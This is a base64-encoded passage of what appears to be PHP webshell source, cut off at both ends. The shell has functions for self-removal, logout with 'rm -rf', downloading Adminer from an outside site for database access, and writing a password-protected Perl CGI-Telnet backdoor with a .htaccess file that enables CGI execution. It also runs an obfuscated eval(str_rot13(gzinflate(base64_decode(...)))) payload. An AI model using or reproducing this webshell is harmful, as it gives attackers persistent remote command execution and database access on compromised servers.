NmJKdzBGMTR1c0JGcit1MW0wWFZhSVRQODd2VGxxWUJXMnpzOCs3ZjJaN0h6aWxxLzZoSEpXYWE1MEZuR1FIcmdmM0tKRUlCejJLV2VZV0duK2JXaHBlMUJwNU9jWm4xRmp2d09iQXhsajIxNEVBMDJlZmhSM293RGRrWjF3SG91TE1HUG5yVXFwSXFvSDhsZjZMUmg0dTlJV0l3ZkNRdCthaFpZZ0o5YnlWNDlOQWZuVHQybi9MK2Y5enRudzAvVmEvN2g3MjErUTM1cXZTZFltWDQ1N1g1Y3lSUmN5a094M1FmUzhmYjFWbXQ3c3Rscy83cjloZ2xXQjY4aHNmQzVpditBNU00ZENzbHFPL01uNWozY25HK1I4VmJXcWhpd2N6bDBmc3V6U1JHc1VEYXkyK0tjSGprNk9JWmtNckEzSFFuS1YzSlJQNE5uc0tEOENjSEdzT3B3bXhxcFlUTWpXZHUrTjkxdkoyTkw5QUVDZjJKSjVTa241ZkFnNlQwR3ZOMS85M0d0cS8wRnovMGMyM1FLa3FxeDZXV1hYdnh4OFdqWW55U1hRUExGYlNDcWVOZ0FWdU9Qd1pIMjdBakVURXFXNWVYZzIxY0Rtbk0wTjBqb2l4c1hWN1Y3dTJ1NFRNclkzZ1hVTGNJMmpKOUswd2l3elpTRnVNeGNyK1NUdEZzbytuMk1WVXVYV3NvUFl6S3FLc1ZlZ2haeFVxVVlSMGl4TUxMNlJINVZubGdyTDlQNUZFa2UwTE44VjB1NG1KcGdoOGdMQkhxbjB5OFNMSWdHMktxUjFRQ2ovMEFWdk9sVytyOGsyajZSaXh5VzhmcU5pejhuTjd3bnIwVGdXamkrS0Z3KzR0QzRXZlhIWFAwSHk2YVBwL3FNdzI2R0I1N3ZhbFBOdUhlcHZjdE0vbkZKbkF1RnZ5YmcrTFdtQnRjZTVOR04wUW1FbGhGb0lteTRPTW9ub0RGWVFMc2NSNUZnVmpqU0dXU0YxWnFMa0wwRms4cFlZTWVRSXNwWTRETjZwQWhGR0hDRzVoU0xjSFNEbFh5T2RHajhSNEJINHhZM1U0ZEdMSVFWRDc0REtVaGNjZ215VE9JUU5uZjhnM0pYd1lyQy83V2lLdFkrZmE3WDFmU09RMFEySFZjTWIwZ3d5dnVFUU1WOWhXUDhvSXJtRlVDU3hBWWRWQWhRT0FkRUJDV3VOQlB5ZU5GQlBjWVRBRVpKbzlNd2lLN2ZHVS9QWWRBY294SVZSNEpYNER4TnhLN1FaMEhEQURnRTdBdXdBUS9KS0o1MHpISUJQZGNFQTVrdEE1L3owOUtSOTFzY3R5a0g2WDVVNGozTk5LQUdWbVZRSEF6MjFvVFZRKzlmMThYUzBoMkQxNkdqYk9EK1hZcUpEQUI4TE9IWi83TGRrQkNjUURvcEEwWVRleldqL0dEa1ZSQ2dzNUhIZ0VYY2czV20vcTI0dzNCRmN3NERRbURTVzZvaWtPdUlvaW1Sc2ZXYUREVDJYYmhSdVVNOVJBK1B5L0dJNGJHS01Hd05GL3JaNzNQM2N4eUc0eFhRQ2hZanhDTFhxYUN3VHRmQm9MQlpTMHJGeGZIcWsza2kvOSt2Sk9kSlJadUUvUXc4NUpoMlFOSmJndHBoMk1NSHQ2eVk2SUpmZHpxOTkzTnhjWlFaRnVLSGdFWjErNzd5Tml5c2Q0WHNPTGlnd1BLTFR2Y0Urd1BBSSsvQ0NKc2h5Z2w0aTZPV0JBcHlldDN0SzNRN09wMEU5eDU5bWhtWUpXd2VrMit1ZG5DUDMyMTNmcHg1bHQ4dzFNTTQ3eU9lZlpvWjhhL0d3Z0dmN29DUGQ2MVgwLzgrSnVmMGxZWWQ5aTlzZ3h6anhOQU51M3dhdU1NZzN1emEzQkM0T0t3OVM1cU1Vb3VWRUZQL3FjREpzOU4rS2wvUStYUUhGMHZRK2U1SlJnNUNFNUpVdERtU0ZWS3pldFhmaGRiQUpmbUdTbDRRNGhQSkdwQnJxOVpnT0NHbHBzaVdzaFlKSVU5TUN6TklWRGdNcEErbjRLdHJyVEQwNjNHSDVCYk1nY2U3ZUU5OHkrN3V3L0RMZkNQMlhkNmNQK1BqN1owdWlYdjNXdjlLSXBTMU9JYU5pWGgrOFhSRngySmJ1VytiN1ZYWlllalF0b0N0ZG9FajIwVlhUY3lzWnBHZXcxcjBVQVVYaFRvdFhLamZwVU9tWndTeENkbkhwUkN6TFRCcE1iUlNEL0tWeTZhZ3NwbVlWbG1yVzdWZmp2YXl4elJXbzVPdENjV2hYU1lwbFVhb1dqMnhKMDVMVStCU1hBVWhzREQydDZreVNpcU9aeUVnY1NFcFNNaEszM2g1TGlyTWdJbThpSVNhSUZmREp3cCtsZmZieVZ5ZTFna3dsME5UMmNlODUydTVONTNhbFJ1bWF3cXdhTGgyUHFvanJMSXZ3MHVKVXFVYlQySU96dkY3R3NseXlXVWhlU05WMHRaN3NNYTNkS3RtZDdGaFd5RmZremJyMFphRDFxc0F0RFZKL1NvS0RBOHZhdWVRYTlQRkZWbCt1YzJLOW1tS3RnQzlLaVZSbEpXM1pwYXh0UXRiM25jSlhpQ2VSMktqWU01THlyNEthdVVYbWJiYXk3amszK2k1cmR6SlFBYmNXOGpQNUlFTDhMSWdxc3QvYWdxUGk1WndYV3Y2SWdtVG95MFB2SEIxbE1tckV0RFhZWElvRDQraGpDcVlpUG8ybzA0ckNTeHg5cEpZNE5PWFZvMUNUdzJJS1JISjlDOVZDNFRwclRaSHR5cm9xdWFKSHFWZ2IvcFY5VDdQSnB0WjJSblhWeTMvRmtqM1NNYkZjcWtDcDZFT29iNjY2dUlTV2R1dHZVcmZBbWxKL2xhS2tobGJiTlFWV0ovbFlHUy9vcVhIS3FTay9zOStGRFBhUGRCaGxSMWx2NGM1MkFIM1l3QjRZaFB1U0NlZlMwWmJxWW5vZFQzT05JTHdjSlpySkVtNzU3UklDV0ZOVjRhUkJFOFQ5Q0k1Tk5XeXZVeHc2Z3VQWCt6WHByR05uc0w5Zk94cEwyWlF2U0ZaR2VOMVZxZ1lWV0JXaFluVjVjLzBxTFNaRnRhekpvZEl2MVdCZ3FFWkRLVWhFV2hhY0UrYU9JMnh5SklQVk8vTG1wMzM3L2ozY21JdGpObXJoeHNFK0RENVVwcXI4K0k1VW5wU1Q2Mk01Q2VRem5CMmFxc2tMVDZuL2dseFVIUkVsbnhNRkkySUl3ZkpNYUFRbkx6WmVGdmFEeUMvSkFjbXBPSkdlbFZkMHhqc01MWWk4eEIzYmlYenlMaFBza0FFN1lIZjNoeCtrSTVoaElEK2NsWitwZGx5UW40LytEUT09IjsKZXZhbChzdHJfcm90MTMoZ3ppbmZsYXRlKHN0cl9yb3QxMyhiYXNlNjRfZGVjb2RlKCgkaGV4KSkpKSkpOyA=";\r\n\t$mass = fopen($file_mass, "w");\r\n\tfwrite($mass, base64_decode($mass_script));\r\n\techo "<br><center>  <iframe src=\'hex_tools/conf.php\' width=\'900\' height=\'480\'></iframe></a>";\r\n\techo \'</div>\';\r\n\thardFooter();\r\n}\r\nfunction actionLogout() {\r\n\texec("rm -rf hex_tools hex_cgi adminer.php");\r\n    setcookie(md5($_SERVER[\'HTTP_HOST\']), \'\', time() - 3600);\r\n\tdie("</br></br><body bgcolor=\'#000000\'><pre align=center><form method=post style=\'color:#ffffff;text-align: center;\'>Bye -,-<br><br></form> </body>");\r\n}\r\nfunction actionSelfRemove() {\r\n\tif($_POST[\'p1\'] == \'yes\')\r\n\t\tif(@unlink(preg_replace(\'!\\(\\d+\\)\\s.*!\', \'\', __FILE__)))\r\n\t\t\tdie(\'Shell has been removed\');\r\n\t\telse\r\n\t\t\techo \'unlink error!\';\r\n    if($_POST[\'p1\'] != \'yes\')\r\n        hardHeader();\r\n\techo \'<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\\\'yes\\\')">Yes</a></div>\';\r\n\thardFooter();\r\n}\r\nfunction actionInfect() {\r\n\thardHeader();\r\n\t$full = str_replace($_SERVER[\'DOCUMENT_ROOT\'], "", $dir);\r\n\tfunction adminer($url, $isi) {\r\n\t\t$fp = fopen($isi, "w");\r\n\t\t$ch = curl_init();\r\n\t\t \t  curl_setopt($ch, CURLOPT_URL, $url);\r\n\t\t \t  curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);\r\n\t\t \t  curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\r\n\t\t \t  curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);\r\n\t\t   \t  curl_setopt($ch, CURLOPT_FILE, $fp);\r\n\t\treturn curl_exec($ch);\r\n\t\t   \t  curl_close($ch);\r\n\t\tfclose($fp);\r\n\t\tob_flush();\r\n\t\tflush();\r\n\t}\r\n\tif(file_exists(\'adminer.php\')) {\r\n\t\techo "<center><font color=white><br><br><a href=\'$full/adminer.php\' target=\'_blank\'>-> adminer login <-</a><br><br><br></font></center>";\r\n\t} else {\r\n\t\tif(adminer("https://www.adminer.org/static/download/4.2.4/adminer-4.2.4.php","adminer.php")) {\r\n\t\t\techo "<center><font color=white><br><br><a href=\'$full/adminer.php\' target=\'_blank\'>-> adminer login <-</a><br><br></font></center>";\r\n\t\t} else {\r\n\t\t\techo "<center><font color=red>gagal buat file adminer</font></center>";\r\n\t\t}\r\n\t}\r\n\thardFooter();\r\n}\r\nfunction actionBruteforce() {\r\n\thardHeader();\r\n\techo "<center><h1>Cgi Telnet</h1><div class=content><br>";\r\n\t$cgi_dir = mkdir(\'hex_cgi\', 0755);\r\n        chdir(\'hex_cgi\');\r\n\t$file_cgi = "cgi.hex";\r\n        $memeg = ".htaccess";\r\n\t$isi_htcgi = "OPTIONS Indexes Includes ExecCGI FollowSymLinks \\n AddType application/x-httpd-cgi .hex \\n AddHandler cgi-script .hex \\n AddHandler cgi-script .hex";\r\n\t$htcgi = fopen(".htaccess", "w");\r\n\t$cgi_script = "IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQp1c2UgTUlNRTo6QmFzZTY0Ow0KJFZlcnNpb249ICJDR0ktVGVsbmV0IFZlcnNpb24gMS4zIjsNCiRFZGl0UGVyc2lvbj0iPGZvbnQgc3R5bGU9J3RleHQtc2hhZG93OiAwcHggMHB4IDZweCByZ2IoMjU1LCAwLCAwKSwgMHB4IDBweCA1cHggcmdiKDMwMCwgMCwgMCksIDBweCAwcHggNXB4IHJnYigzMDAsIDAsIDApOyBjb2xvcjojZmZmZmZmOyBmb250LXdlaWdodDpib2xkOyc+Q0dJLVRlbG5ldDwvZm9udD4iOw0KDQokUGFzc3dvcmQgPSAiaGFja2VyMDg4MiI7CQkJIyBDaGFuZ2UgdGhpcy4gWW91IHdpbGwgbmVlZCB0byBlbnRlciB0aGlzIHRvIGxvZ2luLg0Kc3ViIElzX1dpbigpew0KCSRvcyA9ICZ0cmltKCRFTlZ7IlNFUlZFUl9TT0ZUV0FSRSJ9KTsNCglpZigkb3MgPX4gbS93aW4vaSl7DQoJCXJldHVybiAxOw0KCX0NCgllbHNlew0KCQlyZXR1cm4gMDsNCgl9DQp9DQokV2luTlQgPSAmSXNfV2luKCk7CQkJCSMgWW91IG5lZWQgdG8gY2hhbmdlIHRoZSB2YWx1ZSBvZiB0aGlzIHRvIDEgaWYNCgkJCQkJCQkJIyB5b3UncmUgcnVubmluZyB0aGlzIHNjcmlwdCBvbiBhIFdpbmRvd3MgTlQNCgkJCQkJCQkJIyBtYWNoaW5lLiBJZiB5b3UncmUgcnVubmluZyBpdCBvbiBVbml4LCB5b3UNCgkJCQkJCQkJIyBjYW4gbGVhdmUgdGhlIHZhbHVlIGFzIGl0IGlzLg0KDQokTlRDbWRTZXAgPSAiJiI7CQkJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW1hbmRzDQoJCQkJCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gV2luZG93cyBOVC4NCg0KJFVuaXhDbWRTZXAgPSAiOyI7CQkJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW1hbmRzDQoJCQkJCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gVW5peC4NCg0KJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gPSAxMDAwMDsJIyBUaW1lIGluIHNlY29uZHMgYWZ0ZXIgY29tbWFuZHMgd2lsbCBiZSBraWxsZWQNCgkJCQkJCQkJIyBEb24ndCBzZXQgdGhpcyB0byBhIHZlcnkgbGFyZ2UgdmFsdWUuIFRoaXMgaXMNCgkJCQkJCQkJIyB1c2VmdWwgZm9yIGNvbW1hbmRzIHRoYXQgbWF5IGhhbmcgb3IgdGhhdA0KCQkJCQkJCQkjIHRha2UgdmVyeSBsb25nIHRvIGV4ZWN1dGUsIGxpa2UgImZpbmQgLyIuDQoJCQkJCQkJCSMgVGhpcyBpcyB2YWxpZCBvbmx5IG9uIFVuaXggc2VydmVycy4gSXQgaXMNCgkJCQkJCQkJIyBpZ25vcmVkIG9uIE5UIFNlcnZlcnMuDQoNCiRTaG93RHluYW1pY091dHB1dCA9IDE7CQkJIyBJZiB0aGlzIGlzIDEsIHRoZW4gZGF0YSBpcyBzZW50IHRvIHRoZQ0KCQkJCQkJCQkjIGJyb3dzZXIgYXMgc29vbiBhcyBpdCBpcyBvdXRwdXQsIG90aGVyd2lzZQ0KCQkJCQkJCQkjIGl0IGlzIGJ1ZmZlcmVkIGFuZCBzZW5kIHdoZW4gdGhlIGNvbW1hbmQNCgkJCQkJCQkJIyBjb21wbGV0ZXMuIFRoaXMgaXMgdXNlZnVsIGZvciBjb21tYW5kcyBsaWtlDQoJCQkJCQkJCSMgcGluZywgc28gdGhhdCB5b3UgY2FuIHNlZSB0aGUgb3V0cHV0IGFzIGl0DQoJCQkJCQkJCSMgaXMgYmVpbmcgZ2VuZXJhdGVkLg0KDQojIERPTidUIENIQU5HRSBBTllUSElORyBCRUxPVyBUSElTIExJTkUgVU5MRVNTIFlPVSBLTk9XIFdIQVQgWU9VJ1JFIERPSU5HICEhDQoNCiRDbWRTZXAgPSAoJFdpbk5UID8gJE5UQ21kU2VwIDogJFVuaXhDbWRTZXApOw0KJENtZFB3ZCA9ICgkV2luTlQgPyAiY2QiIDogInB3ZCIpOw0KJFBhdGhTZXAgPSAoJFdpbk5UID8gIlxcIiA6ICIvIik7DQokUmVkaXJlY3RvciA9ICgkV2luTlQgPyAiIDI+JjEgMT4mMiIgOiAiIDE+JjEgMj4mMSIpOw0KJGNvbHM9IDE1MDsNCiRyb3dzPSAyNjsNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUmVhZHMgdGhlIGlucHV0IHNlbnQgYnkgdGhlIGJyb3dzZXIgYW5kIHBhcnNlcyB0aGUgaW5wdXQgdmFyaWFibGVzLiBJdA0KIyBwYXJzZXMgR0VULCBQT1NUIGFuZCBtdWx0aXBhcnQvZm9ybS1kYXRhIHRoYXQgaXMgdXNlZCBmb3IgdXBsb2FkaW5nIGZpbGVzLg0KIyBUaGUgZmlsZW5hbWUgaXMgc3RvcmVkIGluICRpbnsnZid9IGFuZCB0aGUgZGF0YSBpcyBzdG9yZWQgaW4gJGlueydmaWxlZGF0YSd9Lg0KIyBPdGhlciB2YXJpYWJsZXMgY2FuIGJlIGFjY2Vzc2VkIHVzaW5nICRpbnsndmFyJ30sIHdoZXJlIHZhciBpcyB0aGUgbmFtZSBvZg0KIyB0aGUgdmFyaWFibGUuIE5vdGU6IE1vc3Qgb2YgdGhlIGNvZGUgaW4gdGhpcyBmdW5jdGlvbiBpcyB0YWtlbiBmcm9tIG90aGVyIENHSQ0KIyBzY3JpcHRzLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFJlYWRQYXJzZSANCnsNCglsb2NhbCAoKmluKSA9IEBfIGlmIEBfOw0KCWxvY2FsICgkaSwgJGxvYywgJGtleSwgJHZhbCk7DQoJDQoJJE11bHRpcGFydEZvcm1EYXRhID0gJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC87DQoNCglpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJHRVQiKQ0KCXsNCgkJJGluID0gJEVOVnsnUVVFUllfU1RSSU5HJ307DQoJfQ0KCWVsc2lmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIlBPU1QiKQ0KCXsNCgkJYmlubW9kZShTVERJTikgaWYgJE11bHRpcGFydEZvcm1EYXRhICYgJFdpbk5UOw0KCQlyZWFkKFNURElOLCAkaW4sICRFTlZ7J0NPTlRFTlRfTEVOR1RIJ30pOw0KCX0NCg0KCSMgaGFuZGxlIGZpbGUgdXBsb2FkIGRhdGENCglpZigkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLykNCgl7DQoJCSRCb3VuZGFyeSA9ICctLScuJDE7ICMgcGxlYXNlIHJlZmVyIHRvIFJGQzE4NjcgDQoJCUBsaXN0ID0gc3BsaXQoLyRCb3VuZGFyeS8sICRpbik7IA0KCQkkSGVhZGVyQm9keSA9ICRsaXN0WzFdOw0KCQkkSGVhZGVyQm9keSA9fiAvXHJcblxyXG58XG5cbi87DQoJCSRIZWFkZXIgPSAkYDsNCgkJJEJvZHkgPSAkJzsNCiAJCSRCb2R5ID1+IHMvXHJcbiQvLzsgIyB0aGUgbGFzdCBcclxuIHdhcyBwdXQgaW4gYnkgTmV0c2NhcGUNCgkJJGlueydmaWxlZGF0YSd9ID0gJEJvZHk7DQoJCSRIZWFkZXIgPX4gL2ZpbGVuYW1lPVwiKC4rKVwiLzsgDQoJCSRpbnsnZid9ID0gJDE7IA0KCQkkaW57J2YnfSA9fiBzL1wiLy9nOw0KCQkkaW57J2YnfSA9fiBzL1xzLy9nOw0KDQoJCSMgcGFyc2UgdHJhaWxlcg0KCQlmb3IoJGk9MjsgJGxpc3RbJGldOyAkaSsrKQ0KCQl7IA0KCQkJJGxpc3RbJGldID1+IHMvXi4rbmFtZT0kLy87DQoJCQkkbGlzdFskaV0gPX4gL1wiKFx3KylcIi87DQoJCQkka2V5ID0gJDE7DQoJCQkkdmFsID0gJCc7DQoJCQkkdmFsID1+IHMvKF4oXHJcblxyXG58XG5cbikpfChcclxuJHxcbiQpLy9nOw0KCQkJJHZhbCA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsNCgkJCSRpbnska2V5fSA9ICR2YWw7IA0KCQl9DQoJfQ0KCWVsc2UgIyBzdGFuZGFyZCBwb3N0IGRhdGEgKHVybCBlbmNvZGVkLCBub3QgbXVsdGlwYXJ0KQ0KCXsNCgkJQGluID0gc3BsaXQoLyYvLCAkaW4pOw0KCQlmb3JlYWNoICRpICgwIC4uICQjaW4pDQoJCXsNCgkJCSRpblskaV0gPX4gcy9cKy8gL2c7DQoJCQkoJGtleSwgJHZhbCkgPSBzcGxpdCgvPS8sICRpblskaV0sIDIpOw0KCQkJJGtleSA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsNCgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkaW57JGtleX0gLj0gIlwwIiBpZiAoZGVmaW5lZCgkaW57JGtleX0pKTsNCgkJCSRpbnska2V5fSAuPSAkdmFsOw0KCQl9DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBQYWdlIEhlYWRlcg0KIyBBcmd1bWVudCAxOiBGb3JtIGl0ZW0gbmFtZSB0byB3aGljaCBmb2N1cyBzaG91bGQgYmUgc2V0DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRQYWdlSGVhZGVyDQp7DQoJJEVuY29kZWRDdXJyZW50RGlyID0gJEN1cnJlbnREaXI7DQoJJEVuY29kZWRDdXJyZW50RGlyID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsNCglteSAkZGlyID0kQ3VycmVudERpcjsNCgkkZGlyPX4gcy9cXC9cXFxcL2c7DQoJcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7DQoJcHJpbnQgPDxFTkQ7DQo8aHRtbD4NCjxoZWFkPg0KPG1ldGEgaHR0cC1lcXVpdj0iY29udGVudC10eXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgiPg0KPHRpdGxlPkhhY3N1Z2lhPC90aXRsZT4NCg0KJEh0bWxNZXRhSGVhZGVyDQoNCjwvaGVhZD4NCjxzdHlsZT4NCmJvZHl7DQpmb250OiAxMHB0IFZlcmRhbmE7DQp9DQp0ciB7DQpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsNCmNvbG9yOiAjZmY5OTAwOw0KfQ0KdGQgew0KQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItVE9QOiAgICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7DQpjb2xvcjogI2ZmOTEwOTsNCmZvbnQ6IDEwcHQgVmVyZGFuYTsNCn0NCg0KdGFibGUgew0KQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItVE9QOiAgICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7DQpCQUNLR1JPVU5ELUNPTE9SOiAjMTExOw0KfQ0KDQoNCmlucHV0IHsNCkJPUkRFUi1SSUdIVDogICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1CT1RUT006ICMzZTNlM2UgMXB4IHNvbGlkOw0KQkFDS0dST1VORC1DT0xPUjogQmxhY2s7DQpmb250OiAxMHB0IFZlcmRhbmE7DQpjb2xvcjogI2ZmOTkwMDsNCn0NCg0KaW5wdXQuc3VibWl0IHsNCnRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsNCmNvbG9yOiAjRkZGRkZGOw0KYm9yZGVyLWNvbG9yOiAjMDA5OTAwOw0KfQ0KDQpjb2RlIHsNCmJvcmRlcgkJCTogZGFzaGVkIDBweCAjMzMzOw0KQkFDS0dST1VORC1DT0xPUjogQmxhY2s7DQpmb250OiAxMHB0IFZlcmRhbmEgYm9sZDsNCmNvbG9yOiB3aGlsZTsNCn0NCg0KcnVuIHsNCmJvcmRlcgkJCTogZGFzaGVkIDBweCAjMzMzOw0KZm9udDogMTBwdCBWZXJkYW5hIGJvbGQ7DQpjb2xvcjogI0ZGMDBBQTsNCn0NCg0KdGV4dGFyZWEgew0KQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItVE9QOiAgICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7DQpCQUNLR1JPVU5ELUNPTE9SOiAjMWIxYjFiOw0KZm9udDogRml4ZWRzeXMgYm9sZDsNCmNvbG9yOiAjYWFhOw0KfQ0KQTpsaW5rIHsNCglDT0xPUjogI2ZmOTEwOTsgVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQpBOnZpc2l0ZWQgew0KCUNPTE9SOiAjZmY5MTA5OyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCkE6aG92ZXIgew0KCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsNCgljb2xvcjogI2ZmOTkwMDsgVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQpBOmFjdGl2ZSB7DQoJY29sb3I6IFJlZDsgVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQoNCi5saXN0ZGlyIHRyOmhvdmVyew0KCWJhY2tncm91bmQ6ICM0NDQ7DQp9DQoubGlzdGRpciB0cjpob3ZlciB0ZHsNCgliYWNrZ3JvdW5kOiAjNDQ0Ow0KCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsNCgljb2xvcjogI0ZGRkZGRjsgVEVYVC1ERUNPUkFUSU9OOiBub25lOw0KfQ0KLm5vdGxpbmV7DQoJYmFja2dyb3VuZDogIzExMTsNCn0NCi5saW5lew0KCWJhY2tncm91bmQ6ICMyMjI7DQp9DQo8L3N0eWxlPg0KPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+DQpmdW5jdGlvbiBjaG1vZF9mb3JtKGksZmlsZSkNCnsNCgkvKnZhciBhamF4PSdhamF4X1Bvc3REYXRhKCJGb3JtUGVybXNfJytpKyciLCIkU2NyaXB0TG9jYXRpb24iLCJSZXNwb25zZURhdGEiKTsgcmV0dXJuIGZhbHNlOyc7Ki8NCgl2YXIgYWpheD0iIjsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZVBlcm1zXyIraSkuaW5uZXJIVE1MPSI8Zm9ybSBuYW1lPUZvcm1QZXJtc18iICsgaSsgIiBhY3Rpb249JyBtZXRob2Q9J1BPU1QnPjxpbnB1dCBpZD10ZXh0XyIgKyBpICsgIiAgbmFtZT1jaG1vZCB0eXBlPXRleHQgc2l6ZT01IC8+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBhamF4ICsgIicgdmFsdWU9T0s+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0nZ3VpJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kIHZhbHVlPSckZGlyJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1mIHZhbHVlPSciK2ZpbGUrIic+PC9mb3JtPiI7DQoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7DQp9DQpmdW5jdGlvbiBybV9jaG1vZF9mb3JtKHJlc3BvbnNlLGkscGVybXMsZmlsZSkNCnsNCglyZXNwb25zZS5pbm5lckhUTUwgPSAiPHNwYW4gb25jbGljaz1cXFwiY2htb2RfZm9ybSgiICsgaSArICIsJyIrIGZpbGUrICInKVxcXCIgPiIrIHBlcm1zICsiPC9zcGFuPjwvdGQ+IjsNCn0NCmZ1bmN0aW9uIHJlbmFtZV9mb3JtKGksZmlsZSxmKQ0Kew0KCXZhciBhamF4PSIiOw0KCWYucmVwbGFjZSgvXFxcXC9nLCJcXFxcXFxcXCIpOw0KCXZhciBiYWNrPSJybV9yZW5hbWVfZm9ybSgiK2krIixcXFwiIitmaWxlKyJcXFwiLFxcXCIiK2YrIlxcXCIpOyByZXR1cm4gZmFsc2U7IjsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGZvcm0gbmFtZT1Gb3JtUGVybXNfIiArIGkrICIgYWN0aW9uPScgbWV0aG9kPSdQT1NUJz48aW5wdXQgaWQ9dGV4dF8iICsgaSArICIgIG5hbWU9cmVuYW1lIHR5cGU9dGV4dCB2YWx1ZT0gJyIrZmlsZSsiJyAvPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyBvbmNsaWNrPSciICsgYWpheCArICInIHZhbHVlPU9LPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyBvbmNsaWNrPSciICsgYmFjayArICInIHZhbHVlPUNhbmNlbD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSdndWknPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWQgdmFsdWU9JyRkaXInPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWYgdmFsdWU9JyIrZmlsZSsiJz48L2Zvcm0+IjsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidGV4dF8iICsgaSkuZm9jdXMoKTsNCn0NCmZ1bmN0aW9uIHJtX3JlbmFtZV9mb3JtKGksZmlsZSxmKQ0Kew0KCWlmKGY9PSd